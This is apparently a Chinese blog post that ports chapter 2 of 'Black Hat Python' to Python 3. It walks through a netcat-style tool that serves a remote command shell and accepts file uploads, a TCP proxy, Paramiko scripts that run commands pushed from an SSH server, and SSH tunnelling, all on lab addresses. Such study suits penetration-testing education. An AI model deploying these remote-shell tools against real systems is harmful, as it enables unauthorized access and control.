《python黑帽子:黑客与渗透测试编程之道》第二章第2部分
取代netcat
netcat被称为网络界的瑞士军刀,功能强大,系统管理员自己用着方便,但是如果系统被入侵别人也用着方便,所以有些系统管理员会在系统中把netcat移除。但是有python环境啊,那么就可以自己写一个低配版的netcat用。
我参照书敲了代码,因为书上是python2环境下的代码,所以要想在python3环境下运行,需要作一些修改:
bhnet.py:
# -*- code: utf-8 -*-
import sys
import getopt
import threading
import subprocess
import socket
#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("BHP Net Tool")
print()
print("Usage: bhpnet.py -t targt_host -p port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run - execute the given file upon receiving a connetction")
print("-c command - initialize a command shell")
print("-u --upload-destination - upon receiving connection upload a file and write to [destionation]")
print()
print()
print("Examples: ")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#连接到目标主机
client.connect((target,port))
if len(buffer):
client.send(buffer.encode("utf-8"))
while True:
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data.decode("utf-8")
if recv_len < 4096:
break
print(response)
#等待更多的输入
buffer = input("") #python中没有raw_input()
buffer += "\n"
client.send(buffer.encode("utf-8"))
except:
print("[*] Exception! Exiting.")
client.close()
def server_loop():
global target
global port
# 如果没有定义目标,那么我们监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
return output
def client_handler(client_socket):
global upload
global execute
global command
# 检测上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
# 持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send(b" ")
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024).decode("utf-8")
response = run_command(cmd_buffer)
client_socket.send(response)
def main():
global listen
global port
global execute
global upload_destination
global target
global command
if not len(sys.argv[1:]): #获取参数
usage()
#读取命令行选项
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
#监听还是仅从标准输入发送数据
if not listen and len(target) and port > 0:
#从命令行读取内存数据
# 这里将阻塞, 所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
#发送数据
client_sender(buffer)
# 开始监听并准备上传文件、执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
server_loop()
if __name__=="__main__":
main()
代码写好后先输入“-h”试试:
显示出了命令说明,然后输入命令开始监听端口号9999开启一个服务器:“python3 ./bhnet.py -l -p 9999 -c”,执行命令后是没有显示的。
打开另一个终端输入“python3 ./bhnet.py -t localhost -p 9999”,执行命令后也没有显示,然后按Crtl+D发送EOF指令:
输入一些常见命令试试效果:
我们可以看到程序返回了典型的命令行shell,就像用Xshell等SSH一样。
直接利用客户端发送HTTP请求试试:
成功接收到数据。
TCP代理
这里的内容按照书上的写完代码后,不用运行就能从PyCharm的错误提示就可以看出hexdump函数有问题:
书上注释说这个十六进制导出函数是从http://code.activestate.com/recipes/142812-hex-dumper/获得的,我打开这个地址,都是十年前的内容,应该还是版本的原因。
那么看看在python3中该怎么改。
首先看isinstance()这个函数,它用来判断一个对象是否是一个已知的类型。在python2中有两种表示字符序列的类型,分别为str和Unicode,python3也是用两种类型表示字符序列,分别为str和bytes。str包含Unicode字符,所以这里我们把unicode改为str试试。
再看xrange()。在python2中用range()函数创建一个证书列表,一般用在for循环中。xrange() 函数用法与 range完全相同,所不同的是生成的不是一个数组,而是一个生成器。python3中用range()替换了这两个函数。这里参考了菜鸟教程(https://www.runoob.com/python/python-2x-3x.html),想详细了解这两个函数的可以移步菜鸟教程(https://www.runoob.com/python/python-func-xrange.html)学习一下。
ord()函数的作用是返回字符串的ASCII数值或者Unicode数值:
这个hexdump()函数的作用是输出可打印的ASCII码字符和数据包的十六进制值。
贴上代码:
proxy.py
# -*- coding:utf-8 -*-
import sys
import socket
import threading
'''
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
s = src[i:i + length]
hexa = ' '.join(["%0*X" % (digits, ord(x)) for x in s])
text = ''.join([x if 0x20 <= ord(x) < 0x7F else '.' for x in s])
result.append("%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
print('\n'.join(result))
'''
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
s = src[i:i + length]
hexa = ' '.join(["%0*X" % (digits, x) for x in s])
text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
result.append("%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
print('\n'.join(result))
def receive_from(connection):
buffer = b"" # 不要忘记加b,代表bytes
# 设置超时
connection.settimeout(2)
try:
# 持续从缓存中读取数据知道没有数据或者超时
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
def request_handler(buffer):
return buffer
def response_handler(buffer):
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
# 连接远程主机
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
# 如果必要,从远程主机接收数据
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# 发送给响应处理
remote_buffer = response_handler(remote_buffer)
# 如果我们有数据传递给本地客户端,发送它
if len(remote_buffer):
print("[<==} Sending %d bytes to localhost." % len(remote_buffer))
client_socket.send(remote_buffer)
# 从本地循环读取数据,发送给远程主机和本地主机
while True:
# 从本地读取数据
local_buffer = receive_from(client_socket)
if len(local_buffer):
print("[==>] Received %d bytes from localhost." % len(local_buffer))
hexdump(local_buffer)
# 发送给我们的本地请求
local_buffer = request_handler(local_buffer)
# 向远程主机发送数据
remote_socket.send(local_buffer)
print("[==>] Sent to remote.")
# 接收响应的数据
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print("[<==] Received %d bytes from remote." % len(remote_buffer))
hexdump(local_buffer)
# 发送到响应处理函数
remote_buffer = response_handler(remote_buffer)
# 将响应发送给本地socket
client_socket.send(remote_buffer)
print("[<==] Sent to localhost.")
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print("[*] No more data. Closing connections.")
break
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host, local_port))
except:
print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
print("[!!] Check for other listening sockets or correct permissions.")
sys.exit(0)
print("[*] Listening on %s:%d" % (local_host, local_port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 打印出本地连接信息
print("[==>] Received incoming connection from %s:%d" % (addr[0], addr[1]))
# 开启一个线程与远程主机通信
proxy_thread = threading.Thread(target=proxy_handler,
args=(client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
def main():
if len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
# 设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# 告诉代理在发送远程主机之前连接和接受数据
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
server_loop(local_host, local_port, remote_host, remote_port, receive_first)
main()
给浏览器设置好代理,我们以访问百度为例跑一下代码看看效果。
然后浏览器访问百度
通过Paramiko使用SSH
bh_sshcmd.py:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client.load_host_keys('')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print(ssh_session.recv(1024))
return
ssh_command('192.168.196.129', 'zxy', '123456', 'id')
bh_sshRcmd.py:
# -*- coding:utf-8 -*-
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client.load_host_keys('')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command.encode("utf-8"))
print(ssh_session.recv(1024).decode("utf-8"))
# 以上跟bh_sshcmd.y中的一样
while True:
command = ssh_session.recv(1024).decode("utf-8") # get the command from the SSH server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output).encode("utf-8")
except Exception as e:
ssh_session.send(str(e).encode("utf-8"))
client.close()
return
ssh_command('127.0.0.1', 'zxy', '123456', 'ClientConnected')
bh_sshserver.py:
# -*- coding:utf-8 -*-
import socket
import paramiko
import threading
import sys
# 使用Paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key') #https://github.com/paramiko/paramiko/blob/master/demos/test_rsa.key
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'zxy') and (password == '123456'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print('[*] Listening for connections ...')
client, addr = sock.accept()
except Exception as e:
print('[-] Listen failed: ' + str(e))
sys.exit(1)
print('[+] Got a connection!')
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException as x:
print('[-] SSH negotiation failed')
chan = bhSession.accept(20)
print('[*] Authenticated')
print(chan.recv(1024))
chan.send(b'Welcome to bh_ssh')
while True:
try:
command = input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command.encode("utf-8"))
print(chan.recv(1024).decode("utf-8") + '\n')
else:
chan.send(b'exit')
print('exiting')
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print('[-] Caught exception: ' + str(e))
try:
bhSession.close()
except:
pass
sys.exit(1)
这个我改了几次,没有达到书上的效果,主要还是编码问题,回传过来的内容不能显示出来。执行命令没问题。这个问题先放着,待解决。我用显示文件、显示用户之类命令不能看到理想的效果,这里展示一下创建目录的效果吧。
先看一下当前目录下的所有目录:
启动server端:
SSH隧道
一开始我没有理解SSH隧道是什么,找了一些资料看了看,发现一篇文章写的很好,传送门。
这部分的代码直接使用Paramiko示例文件中的一个叫做rforward.py的文件的代码,我看了看代码,python3环境下不需要修改代码。
下面开始做实验。
环境介绍:
Windows系统(此处不用IP地址)
路由器IP:192.168.1.1
Linux系统IP:192.168.1.120
我在本机上做实验时使用了这篇文章的方法,即我在Windows上连接了192.168.1.120的SSH服务端并在服务端打开了8080端口,程序将数据流导向192.168.1.1主机(也就是路由器)的80端口,路由器作充当web服务器的角色。
在Windows上执行命令:
rforward.py 192.168.1.120 -p 8080 -r 192.168.1.1:80 --user zxy --password
再看看Windows上的日志
到这里这本书的第二章就结束了。